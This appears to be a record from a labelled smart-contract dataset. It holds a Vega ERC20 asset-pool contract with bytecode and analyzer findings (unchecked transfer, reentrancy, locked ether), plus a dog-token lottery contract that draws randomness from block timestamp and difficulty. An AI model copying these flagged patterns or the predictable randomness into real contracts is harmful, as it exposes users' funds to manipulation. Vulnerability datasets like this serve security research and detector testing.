MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM MM......................ZMMMMM.......MMMMMMMMMMMMMMMMMMMMMMM MM............... ......ZMMMMM.... ..MMMMMMMMMMMMMMMMMMMMMMM MM...............MMMMM88~.........+MM..ZMMMMMMMMMMMMMMMMMMMM MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM MM.......ZMMMMMMM.......ZMMMMM..MMMMM..ZMMMMMMMMMMMMMMMMMMMM MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM*/ // File: contracts/ERC20_Asset_Pool.sol /// @title ERC20 Asset Pool /// @author Vega Protocol /// @notice This contract is the target for all deposits to the ERC20 Bridge via ERC20_Bridge_Logic contract ERC20_Asset_Pool { event Multisig_Control_Set(address indexed new_address); event Bridge_Address_Set(address indexed new_address); /// @return Current MultisigControl contract address address public multisig_control_address; /// @return Current ERC20_Bridge_Logic contract address address public erc20_bridge_address; /// @param multisig_control The initial MultisigControl contract address /// @notice Emits Multisig_Control_Set event constructor(address multisig_control) { multisig_control_address = multisig_control; emit Multisig_Control_Set(multisig_control); } /// @notice this contract is not intended to accept ether directly receive() external payable { revert("this contract does not accept ETH"); } /// @param new_address The new MultisigControl contract address. /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed set_multisig_control order /// @notice See MultisigControl for more about signatures /// @notice Emits Multisig_Control_Set event function set_multisig_control(address new_address, uint256 nonce, bytes memory signatures) public { require(new_address != address(0)); bytes memory message = abi.encode(new_address, nonce, 'set_multisig_control'); require(IMultisigControl(multisig_control_address).verify_signatures(signatures, message, nonce), "bad signatures"); multisig_control_address = new_address; emit Multisig_Control_Set(new_address); } /// @param new_address The new ERC20_Bridge_Logic contract address. /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed set_bridge_address order /// @notice See MultisigControl for more about signatures /// @notice Emits Bridge_Address_Set event function set_bridge_address(address new_address, uint256 nonce, bytes memory signatures) public { bytes memory message = abi.encode(new_address, nonce, 'set_bridge_address'); require(IMultisigControl(multisig_control_address).verify_signatures(signatures, message, nonce), "bad signatures"); erc20_bridge_address = new_address; emit Bridge_Address_Set(new_address); } /// @notice This function can only be run by the current "multisig_control_address" and, if available, will send the target tokens to the target /// @param token_address Contract address of the ERC20 token to be withdrawn /// @param target Target Ethereum address that the ERC20 tokens will be sent to /// @param amount Amount of ERC20 tokens to withdraw /// @dev amount is in whatever the lowest decimal value the ERC20 token has. For instance, an 18 decimal ERC20 token, 1 "amount" == 0.000000000000000001 /// @return true if transfer was successful. function withdraw(address token_address, address target, uint256 amount) public returns(bool) { require(msg.sender == erc20_bridge_address, "msg.sender not authorized bridge"); IERC20(token_address).transfer(target, amount); /// @dev the following is a test for non-standard ERC20 tokens IE ones without a return value bool result; assembly { switch returndatasize() case 0 { // no return value but didn't revert result := true } case 32 { // standard ERC20, has return value returndatacopy(0, 0, 32) result := mload(0) // result is result of transfer call } default {} } require(result, "token transfer failed"); // revert() if result is false return true; } } /** MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMWEMMMMMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM MMMMMMLOVEMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM MMMMMMMMMMHIXELMMMMMMMMMMMM....................MMMMMNNMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMM....................MMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMM88=........................+MMMMMMMMMM MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM MMMMMMMMMMMM.........................MM+..MMM....+MMMMMMMMMM MMMMMMMMMNMM...................... ..MM?..MMM.. .+MMMMMMMMMM MMMMNDDMM+........................+MM........MM..+MMMMMMMMMM MMMMZ.............................+MM....................MMM MMMMZ.............................+MM....................MMM MMMMZ.............................+MM....................DDD MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM MM..............................MMZ....ZMMMMMMMMMMMMMMMMMMMM MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM MM......................ZMMMMM.......MMMMMMMMMMMMMMMMMMMMMMM MM............... ......ZMMMMM.... ..MMMMMMMMMMMMMMMMMMMMMMM MM...............MMMMM88~.........+MM..ZMMMMMMMMMMMMMMMMMMMM MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM MM.......ZMMMMMMM.......ZMMMMM..MMMMM..ZMMMMMMMMMMMMMMMMMMMM MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM*/
0x60806040526004361061004e5760003560e01c806363bb28e014610093578063aeed8f95146100bc578063b82d5abd146100e5578063d9caed1214610110578063e98dfffd1461014d5761008e565b3661008e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161008590610754565b60405180910390fd5b600080fd5b34801561009f57600080fd5b506100ba60048036038101906100b59190610962565b610178565b005b3480156100c857600080fd5b506100e360048036038101906100de9190610962565b610316565b005b3480156100f157600080fd5b506100fa6104ed565b60405161010791906109e0565b60405180910390f35b34801561011c57600080fd5b50610137600480360381019061013291906109fb565b610511565b6040516101449190610a69565b60405180910390f35b34801561015957600080fd5b506101626106ab565b60405161016f91906109e0565b60405180910390f35b6000838360405160200161018d929190610adf565b604051602081830303815290604052905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ba73659a8383866040518463ffffffff1660e01b81526004016101fb93929190610ba3565b602060405180830381600087803b15801561021557600080fd5b505af1158015610229573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061024d9190610c14565b61028c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161028390610c8d565b60405180910390fd5b83600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff167ff57d83269802e794395bfd99d93c82bf997d03ec73f8d4c607e8ff18b8cc62f260405160405180910390a250505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561035057600080fd5b60008383604051602001610365929190610cf9565b604051602081830303815290604052905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ba73659a8383866040518463ffffffff1660e01b81526004016103d393929190610ba3565b602060405180830381600087803b1580156103ed57600080fd5b505af1158015610401573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104259190610c14565b610464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045b90610c8d565b60405180910390fd5b836000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff167f1143e675ad794f5bd81a05b165b166be3a4e91f17d065f08809d88cefbd6540660405160405180910390a250505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059a90610d81565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b81526004016105de929190610da1565b602060405180830381600087803b1580156105f857600080fd5b505af115801561060c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106309190610c14565b5060003d6000811461064957602081146106525761065e565b6001915061065e565b60206000803e60005191505b508061069f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069690610e16565b60405180910390fd5b60019150509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082825260208201905092915050565b7f7468697320636f6e747261637420646f6573206e6f742061636365707420455460008201527f4800000000000000000000000000000000000000000000000000000000000000602082015250565b600061073e6021836106d1565b9150610749826106e2565b604082019050919050565b6000602082019050818103600083015261076d81610731565b9050919050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006107b382610788565b9050919050565b6107c3816107a8565b81146107ce57600080fd5b50565b6000813590506107e0816107ba565b92915050565b6000819050919050565b6107f9816107e6565b811461080457600080fd5b50565b600081359050610816816107f0565b92915050565b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61086f82610826565b810181811067ffffffffffffffff8211171561088e5761088d610837565b5b80604052505050565b60006108a1610774565b90506108ad8282610866565b919050565b600067ffffffffffffffff8211156108cd576108cc610837565b5b6108d682610826565b9050602081019050919050565b82818337600083830152505050565b6000610905610900846108b2565b610897565b90508281526020810184848401111561092157610920610821565b5b61092c8482856108e3565b509392505050565b600082601f8301126109495761094861081c565b5b81356109598482602086016108f2565b91505092915050565b60008060006060848603121561097b5761097a61077e565b5b6000610989868287016107d1565b935050602061099a86828701610807565b925050604084013567ffffffffffffffff8111156109bb576109ba610783565b5b6109c786828701610934565b9150509250925092565b6109da816107a8565b82525050565b60006020820190506109f560008301846109d1565b92915050565b600080600060608486031215610a1457610a1361077e565b5b6000610a22868287016107d1565b9350506020610a33868287016107d1565b9250506040610a4486828701610807565b9150509250925092565b60008115159050919050565b610a6381610a4e565b82525050565b6000602082019050610a7e6000830184610a5a565b92915050565b610a8d816107e6565b82525050565b7f7365745f6272696467655f616464726573730000000000000000000000000000600082015250565b6000610ac96012836106d1565b9150610ad482610a93565b602082019050919050565b6000606082019050610af460008301856109d1565b610b016020830184610a84565b8181036040830152610b1281610abc565b90509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610b55578082015181840152602081019050610b3a565b83811115610b64576000848401525b50505050565b6000610b7582610b1b565b610b7f8185610b26565b9350610b8f818560208601610b37565b610b9881610826565b840191505092915050565b60006060820190508181036000830152610bbd8186610b6a565b90508181036020830152610bd18185610b6a565b9050610be06040830184610a84565b949350505050565b610bf181610a4e565b8114610bfc57600080fd5b50565b600081519050610c0e81610be8565b92915050565b600060208284031215610c2a57610c2961077e565b5b6000610c3884828501610bff565b91505092915050565b7f626164207369676e617475726573000000000000000000000000000000000000600082015250565b6000610c77600e836106d1565b9150610c8282610c41565b602082019050919050565b60006020820190508181036000830152610ca681610c6a565b9050919050565b7f7365745f6d756c74697369675f636f6e74726f6c000000000000000000000000600082015250565b6000610ce36014836106d1565b9150610cee82610cad565b602082019050919050565b6000606082019050610d0e60008301856109d1565b610d1b6020830184610a84565b8181036040830152610d2c81610cd6565b90509392505050565b7f6d73672e73656e646572206e6f7420617574686f72697a656420627269646765600082015250565b6000610d6b6020836106d1565b9150610d7682610d35565b602082019050919050565b60006020820190508181036000830152610d9a81610d5e565b9050919050565b6000604082019050610db660008301856109d1565b610dc36020830184610a84565b9392505050565b7f746f6b656e207472616e73666572206661696c65640000000000000000000000600082015250565b6000610e006015836106d1565b9150610e0b82610dca565b602082019050919050565b60006020820190508181036000830152610e2f81610df3565b905091905056fea2646970667358221220d0ba88771aea5ef02e9bbea1437104ba0ec780ec4415a7a84caed2b8559466b864736f6c63430008080033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,086
0x09f765f23896c81d7982d0f26f92d9d78b0c0142
pragma solidity ^0.4.18; contract DogCoreInterface { address public ceoAddress; address public cfoAddress; function getDog(uint256 _id) external view returns ( uint256 cooldownIndex, uint256 nextActionAt, uint256 siringWithId, uint256 birthTime, uint256 matronId, uint256 sireId, uint256 generation, uint256 genes, uint8 variation, uint256 gen0 ); function ownerOf(uint256 _tokenId) external view returns (address); function transferFrom(address _from, address _to, uint256 _tokenId) external; function sendMoney(address _to, uint256 _money) external; function totalSupply() external view returns (uint); } contract LotteryBase { uint8 public currentGene; uint256 public lastBlockNumber; uint256 randomSeed = 1; address public bonusPool; struct CLottery { uint8[7] luckyGenes; uint256 totalAmount; uint256 openBlock; bool isReward; bool noFirstReward; } CLottery[] public CLotteries; address public finalLottery; uint256 public SpoolAmount = 0; DogCoreInterface public dogCore; event OpenLottery(uint8 currentGene, uint8 luckyGenes, uint256 currentTerm, uint256 blockNumber, uint256 totalAmount); event OpenCarousel(uint256 luckyGenes, uint256 currentTerm, uint256 blockNumber, uint256 totalAmount); modifier onlyCEO() { require(msg.sender == dogCore.ceoAddress()); _; } modifier onlyCFO() { require(msg.sender == dogCore.cfoAddress()); _; } function toLotteryPool(uint amount) public onlyCFO { require(SpoolAmount >= amount); SpoolAmount -= amount; } function _isCarousal(uint256 currentTerm) external view returns(bool) { return (currentTerm > 1 && CLotteries[currentTerm - 2].noFirstReward && CLotteries[currentTerm - 1].noFirstReward); } function getCurrentTerm() external view returns (uint256) { return (CLotteries.length - 1); } } contract LotteryGenes is LotteryBase { function convertGeneArray(uint256 gene) public pure returns(uint8[7]) { uint8[28] memory geneArray; uint8[7] memory lotteryArray; uint index = 0; for (index = 0; index < 28; index++) { uint256 geneItem = gene % (2 ** (5 * (index + 1))); geneItem /= (2 ** (5 * index)); geneArray[index] = uint8(geneItem); } for (index = 0; index < 7; index++) { uint size = 4 * index; lotteryArray[index] = geneArray[size]; } return lotteryArray; } function convertGene(uint8[7] luckyGenes) public pure returns(uint256) { uint8[28] memory geneArray; for (uint8 i = 0; i < 28; i++) { if (i%4 == 0) { geneArray[i] = luckyGenes[i/4]; } else { geneArray[i] = 6; } } uint256 gene = uint256(geneArray[0]); for (uint8 index = 1; index < 28; index++) { uint256 geneItem = uint256(geneArray[index]); gene += geneItem << (index * 5); } return gene; } } contract SetLottery is LotteryGenes { function random(uint8 seed) internal returns(uint8) { randomSeed = block.timestamp; return uint8(uint256(keccak256(randomSeed, block.difficulty))%seed)+1; } function openLottery(uint8 _viewId) public returns(uint8,uint8) { uint8 viewId = _viewId; require(viewId < 7); uint256 currentTerm = CLotteries.length - 1; CLottery storage clottery = CLotteries[currentTerm]; if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == false) { OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, 0, 0); return (clottery.luckyGenes[viewId],1); } if (lastBlockNumber == block.number) { OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, 0, 0); return (clottery.luckyGenes[viewId],2); } if (currentGene == 0 && clottery.isReward == true) { CLottery memory _clottery; _clottery.luckyGenes = [0,0,0,0,0,0,0]; _clottery.totalAmount = uint256(0); _clottery.isReward = false; _clottery.openBlock = uint256(0); currentTerm = CLotteries.push(_clottery) - 1; } if (this._isCarousal(currentTerm)) { revert(); } uint8 luckyNum = 0; if (currentGene == 6) { if (bonusPool.balance <= SpoolAmount) { OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, 0, 0); return (clottery.luckyGenes[viewId],3); } luckyNum = random(8); CLotteries[currentTerm].luckyGenes[currentGene] = luckyNum; OpenLottery(currentGene, luckyNum, currentTerm, block.number, bonusPool.balance); currentGene = 0; CLotteries[currentTerm].openBlock = block.number; CLotteries[currentTerm].totalAmount = bonusPool.balance; lastBlockNumber = block.number; } else { luckyNum = random(12); CLotteries[currentTerm].luckyGenes[currentGene] = luckyNum; OpenLottery(currentGene, luckyNum, currentTerm, 0, 0); currentGene ++; lastBlockNumber = block.number; } return (luckyNum,0); } function random2() internal view returns (uint256) { return uint256(uint256(keccak256(block.timestamp, block.difficulty))%uint256(dogCore.totalSupply()) + 1); } function openCarousel() public { uint256 currentTerm = CLotteries.length - 1; CLottery storage clottery = CLotteries[currentTerm]; if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == false) { OpenCarousel(convertGene(clottery.luckyGenes), currentTerm, clottery.openBlock, clottery.totalAmount); } if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == true) { CLottery memory _clottery; _clottery.luckyGenes = [0,0,0,0,0,0,0]; _clottery.totalAmount = uint256(0); _clottery.isReward = false; _clottery.openBlock = uint256(0); currentTerm = CLotteries.push(_clottery) - 1; } require (this._isCarousal(currentTerm)); uint256 genes = _getValidRandomGenes(); require (genes > 0); uint8[7] memory luckyGenes = convertGeneArray(genes); OpenCarousel(genes, currentTerm, block.number, bonusPool.balance); CLotteries[currentTerm].luckyGenes = luckyGenes; CLotteries[currentTerm].openBlock = block.number; CLotteries[currentTerm].totalAmount = bonusPool.balance; } function _getValidRandomGenes() internal view returns (uint256) { uint256 luckyDog = random2(); uint256 genes = _validGenes(luckyDog); uint256 totalSupply = dogCore.totalSupply(); if (genes > 0) { return genes; } uint256 min = (luckyDog < totalSupply-luckyDog) ? (luckyDog - 1) : totalSupply-luckyDog; for (uint256 i = 1; i < min + 1; i++) { genes = _validGenes(luckyDog - i); if (genes > 0) { break; } genes = _validGenes(luckyDog + i); if (genes > 0) { break; } } if (genes == 0) { if (min == luckyDog - 1) { for (i = min + luckyDog; i < totalSupply + 1; i++) { genes = _validGenes(i); if (genes > 0) { break; } } } if (min == totalSupply - luckyDog) { for (i = min; i < luckyDog; i++) { genes = _validGenes(luckyDog - i - 1); if (genes > 0) { break; } } } } return genes; } function _validGenes(uint256 dogId) internal view returns (uint256) { var(, , , , , ,generation, genes, variation,) = dogCore.getDog(dogId); if (generation == 0 || dogCore.ownerOf(dogId) == finalLottery || variation > 0) { return 0; } else { return genes; } } } contract LotteryCore is SetLottery { function LotteryCore(address _ktAddress) public { bonusPool = _ktAddress; dogCore = DogCoreInterface(_ktAddress); CLottery memory _clottery; _clottery.luckyGenes = [0,0,0,0,0,0,0]; _clottery.totalAmount = uint256(0); _clottery.isReward = false; _clottery.openBlock = uint256(0); CLotteries.push(_clottery); } function setFinalLotteryAddress(address _flAddress) public onlyCEO { finalLottery = _flAddress; } function getCLottery() public view returns ( uint8[7] luckyGenes, uint256 totalAmount, uint256 openBlock, bool isReward, uint256 term ) { term = CLotteries.length - uint256(1); luckyGenes = CLotteries[term].luckyGenes; totalAmount = CLotteries[term].totalAmount; openBlock = CLotteries[term].openBlock; isReward = CLotteries[term].isReward; } function rewardLottery(bool isMore) external { require(msg.sender == finalLottery); uint256 term = CLotteries.length - 1; CLotteries[term].isReward = true; CLotteries[term].noFirstReward = isMore; } function toSPool(uint amount) external { require(msg.sender == finalLottery); SpoolAmount += amount; } } contract FinalLottery { bool public isLottery = true; LotteryCore lotteryCore; DogCoreInterface dogCore; uint8[7] public luckyGenes; uint256 totalAmount; uint256 openBlock; bool isReward; uint256 currentTerm; uint256 public duration; uint8 public lotteryRatio; uint8[7] public lotteryParam; uint8 public carousalRatio; uint8[7] public carousalParam; struct FLottery { address[] owners0; uint256[] dogs0; address[] owners1; uint256[] dogs1; address[] owners2; uint256[] dogs2; address[] owners3; uint256[] dogs3; address[] owners4; uint256[] dogs4; address[] owners5; uint256[] dogs5; address[] owners6; uint256[] dogs6; uint256[] reward; } mapping(uint256 => FLottery) flotteries; function FinalLottery(address _lcAddress) public { lotteryCore = LotteryCore(_lcAddress); dogCore = DogCoreInterface(lotteryCore.bonusPool()); duration = 11520; lotteryRatio = 23; lotteryParam = [46,16,10,9,8,6,5]; carousalRatio = 12; carousalParam = [35,18,14,12,8,7,6]; } event DistributeLottery(uint256[] rewardArray, uint256 currentTerm); event RegisterLottery(uint256 dogId, address owner, uint8 lotteryClass, string result); function setLotteryDuration(uint256 durationBlocks) public { require(msg.sender == dogCore.ceoAddress()); require(durationBlocks > 140); require(durationBlocks < block.number); duration = durationBlocks; } function registerLottery(uint256 dogId) public returns (uint8) { uint256 _dogId = dogId; (luckyGenes, totalAmount, openBlock, isReward, currentTerm) = lotteryCore.getCLottery(); address owner = dogCore.ownerOf(_dogId); require (owner != address(this)); require(address(dogCore) == msg.sender); require(totalAmount > 0 && isReward == false && openBlock > (block.number-duration)); var(, , , birthTime, , ,generation,genes, variation,) = dogCore.getDog(_dogId); require(birthTime < openBlock); require(generation > 0); require(variation == 0); uint8 _lotteryClass = getLotteryClass(luckyGenes, genes); require(_lotteryClass < 7); address[] memory owners; uint256[] memory dogs; (dogs, owners) = _getLuckyList(currentTerm, _lotteryClass); for (uint i = 0; i < dogs.length; i++) { if (_dogId == dogs[i]) { RegisterLottery(_dogId, owner, _lotteryClass,"dog already registered"); return 5; } } _pushLuckyInfo(currentTerm, _lotteryClass, owner, _dogId); RegisterLottery(_dogId, owner, _lotteryClass,"successful"); return 0; } function distributeLottery() public returns (uint8) { (luckyGenes, totalAmount, openBlock, isReward, currentTerm) = lotteryCore.getCLottery(); require(openBlock > 0 && openBlock < (block.number-duration)); require(totalAmount >= lotteryCore.SpoolAmount()); if (isReward == true) { DistributeLottery(flotteries[currentTerm].reward, currentTerm); return 1; } uint256 legalAmount = totalAmount - lotteryCore.SpoolAmount(); uint256 totalDistribute = 0; uint8[7] memory lR; uint8 ratio; if (lotteryCore._isCarousal(currentTerm) ) { lR = carousalParam; ratio = carousalRatio; } else { lR = lotteryParam; ratio = lotteryRatio; } for (uint8 i = 0; i < 7; i++) { address[] memory owners; uint256[] memory dogs; (dogs, owners) = _getLuckyList(currentTerm, i); if (owners.length > 0) { uint256 reward = (legalAmount * ratio * lR[i])/(10000 * owners.length); totalDistribute += reward * owners.length; dogCore.sendMoney(dogCore.cfoAddress(),reward * owners.length/10); for (uint j = 0; j < owners.length; j++) { address gen0Add; if (i == 0) { dogCore.sendMoney(owners[j],reward*95*9/1000); gen0Add = _getGen0Address(dogs[j]); assert(gen0Add != address(0)); dogCore.sendMoney(gen0Add,reward*5/100); } else if (i == 1) { dogCore.sendMoney(owners[j],reward*97*9/1000); gen0Add = _getGen0Address(dogs[j]); assert(gen0Add != address(0)); dogCore.sendMoney(gen0Add,reward*3/100); } else if (i == 2) { dogCore.sendMoney(owners[j],reward*98*9/1000); gen0Add = _getGen0Address(dogs[j]); assert(gen0Add != address(0)); dogCore.sendMoney(gen0Add,reward*2/100); } else { dogCore.sendMoney(owners[j],reward*9/10); } } flotteries[currentTerm].reward.push(reward); } else { flotteries[currentTerm].reward.push(0); } } if (flotteries[currentTerm].owners0.length == 0) { lotteryCore.toSPool((lotteryCore.bonusPool().balance - lotteryCore.SpoolAmount())/20); lotteryCore.rewardLottery(true); } else { lotteryCore.rewardLottery(false); } DistributeLottery(flotteries[currentTerm].reward, currentTerm); return 0; } function _getGen0Address(uint256 dogId) internal view returns(address) { var(, , , , , , , , , gen0) = dogCore.getDog(dogId); return dogCore.ownerOf(gen0); } function _getLuckyList(uint256 currentTerm1, uint8 lotclass) public view returns (uint256[] kts, address[] ons) { if (lotclass==0) { ons = flotteries[currentTerm1].owners0; kts = flotteries[currentTerm1].dogs0; } else if (lotclass==1) { ons = flotteries[currentTerm1].owners1; kts = flotteries[currentTerm1].dogs1; } else if (lotclass==2) { ons = flotteries[currentTerm1].owners2; kts = flotteries[currentTerm1].dogs2; } else if (lotclass==3) { ons = flotteries[currentTerm1].owners3; kts = flotteries[currentTerm1].dogs3; } else if (lotclass==4) { ons = flotteries[currentTerm1].owners4; kts = flotteries[currentTerm1].dogs4; } else if (lotclass==5) { ons = flotteries[currentTerm1].owners5; kts = flotteries[currentTerm1].dogs5; } else if (lotclass==6) { ons = flotteries[currentTerm1].owners6; kts = flotteries[currentTerm1].dogs6; } } function _pushLuckyInfo(uint256 currentTerm1, uint8 _lotteryClass, address owner, uint256 _dogId) internal { if (_lotteryClass == 0) { flotteries[currentTerm1].owners0.push(owner); flotteries[currentTerm1].dogs0.push(_dogId); } else if (_lotteryClass == 1) { flotteries[currentTerm1].owners1.push(owner); flotteries[currentTerm1].dogs1.push(_dogId); } else if (_lotteryClass == 2) { flotteries[currentTerm1].owners2.push(owner); flotteries[currentTerm1].dogs2.push(_dogId); } else if (_lotteryClass == 3) { flotteries[currentTerm1].owners3.push(owner); flotteries[currentTerm1].dogs3.push(_dogId); } else if (_lotteryClass == 4) { flotteries[currentTerm1].owners4.push(owner); flotteries[currentTerm1].dogs4.push(_dogId); } else if (_lotteryClass == 5) { flotteries[currentTerm1].owners5.push(owner); flotteries[currentTerm1].dogs5.push(_dogId); } else if (_lotteryClass == 6) { flotteries[currentTerm1].owners6.push(owner); flotteries[currentTerm1].dogs6.push(_dogId); } } function getLotteryClass(uint8[7] luckyGenesArray, uint256 genes) internal view returns(uint8) { if (currentTerm < 0) { return 100; } uint8[7] memory dogArray = lotteryCore.convertGeneArray(genes); uint8 cnt = 0; uint8 lnt = 0; for (uint i = 0; i < 6; i++) { if (luckyGenesArray[i] > 0 && luckyGenesArray[i] == dogArray[i]) { cnt++; } } if (luckyGenesArray[6] > 0 && luckyGenesArray[6] == dogArray[6]) { lnt = 1; } uint8 lotclass = 100; if (cnt==6 && lnt==1) { lotclass = 0; } else if (cnt==6 && lnt==0) { lotclass = 1; } else if (cnt==5 && lnt==1) { lotclass = 2; } else if (cnt==5 && lnt==0) { lotclass = 3; } else if (cnt==4 && lnt==1) { lotclass = 4; } else if (cnt==3 && lnt==1) { lotclass = 5; } else if (cnt==3 && lnt==0) { lotclass = 6; } else { lotclass = 100; } return lotclass; } function checkLottery(uint256 genes) public view returns(uint8) { var(luckyGenesArray, , , isReward1, ) = lotteryCore.getCLottery(); if (isReward1) { return 100; } return getLotteryClass(luckyGenesArray, genes); } function getCLottery() public view returns ( uint8[7] luckyGenes1, uint256 totalAmount1, uint256 openBlock1, bool isReward1, uint256 term1, uint8 currentGenes1, uint256 tSupply, uint256 sPoolAmount1, uint256[] reward1 ) { (luckyGenes1, totalAmount1, openBlock1, isReward1, term1) = lotteryCore.getCLottery(); currentGenes1 = lotteryCore.currentGene(); tSupply = dogCore.totalSupply(); sPoolAmount1 = lotteryCore.SpoolAmount(); reward1 = flotteries[term1].reward; } }
0x6060604052600436106100ab5763ffffffff60e060020a6000350416630fb5a6b481146100b05780631d4f3e8b146100d557806322ba8328146101a057806325698d89146101cc5780632b58150b146101f3578063588f7e121461020b5780636bee2cc31461021e57806398edc9ce14610234578063c82ed97314610247578063d0044f9a1461025d578063ee94d7ba14610312578063f43acb5214610325578063fd8300d11461033b575b600080fd5b34156100bb57600080fd5b6100c3610351565b60405190815260200160405180910390f35b34156100e057600080fd5b6100e8610357565b604051808a60e080838360005b8381101561010d5780820151838201526020016100f5565b50505050905001898152602001888152602001871515151581526020018681526020018560ff1660ff16815260200184815260200183815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561018457808201518382015260200161016c565b505050509050019a505050505050505050505060405180910390f35b34156101ab57600080fd5b6101b66004356105c5565b60405160ff909116815260200160405180910390f35b34156101d757600080fd5b6101df6105ec565b604051901515815260200160405180910390f35b34156101fe57600080fd5b6102096004356105f5565b005b341561021657600080fd5b6101b6610695565b341561022957600080fd5b6101b660043561069e565b341561023f57600080fd5b6101b6610b12565b341561025257600080fd5b6101b66004356116d7565b341561026857600080fd5b61027960043560ff602435166116e4565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156102bd5780820151838201526020016102a5565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156102fc5780820151838201526020016102e4565b5050505090500194505050505060405180910390f35b341561031d57600080fd5b6101b6611d4a565b341561033057600080fd5b6101b6600435611d53565b341561034657600080fd5b6101b6600435611e0c565b60075481565b61035f6124d4565b60008060008060008060006103726124fc565b600080546101009004600160a060020a031690631d4f3e8b9060405161016001526040518163ffffffff1660e060020a02815260040161016060405180830381600087803b15156103c257600080fd5b6102c65a03f115156103d357600080fd5b5050506040518060e0018051906020018051906020018051906020018051602091909101604090815260008054969f50949d50929b509099509750610100909204600160a060020a03169163cc135555919051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561045857600080fd5b6102c65a03f1151561046957600080fd5b5050506040518051600154909550600160a060020a031690506318160ddd6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156104be57600080fd5b6102c65a03f115156104cf57600080fd5b505050604051805190509250600060019054906101000a9004600160a060020a0316600160a060020a031663735056a36000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561053657600080fd5b6102c65a03f1151561054757600080fd5b505050604051805190509150600c6000868152602001908152602001600020600e018054806020026020016040519081016040528092919081815260200182805480156105b357602002820191906000526020600020905b81548152602001906001019080831161059f575b50505050509050909192939495969798565b600981600781106105d257fe5b60209182820401919006915054906101000a900460ff1681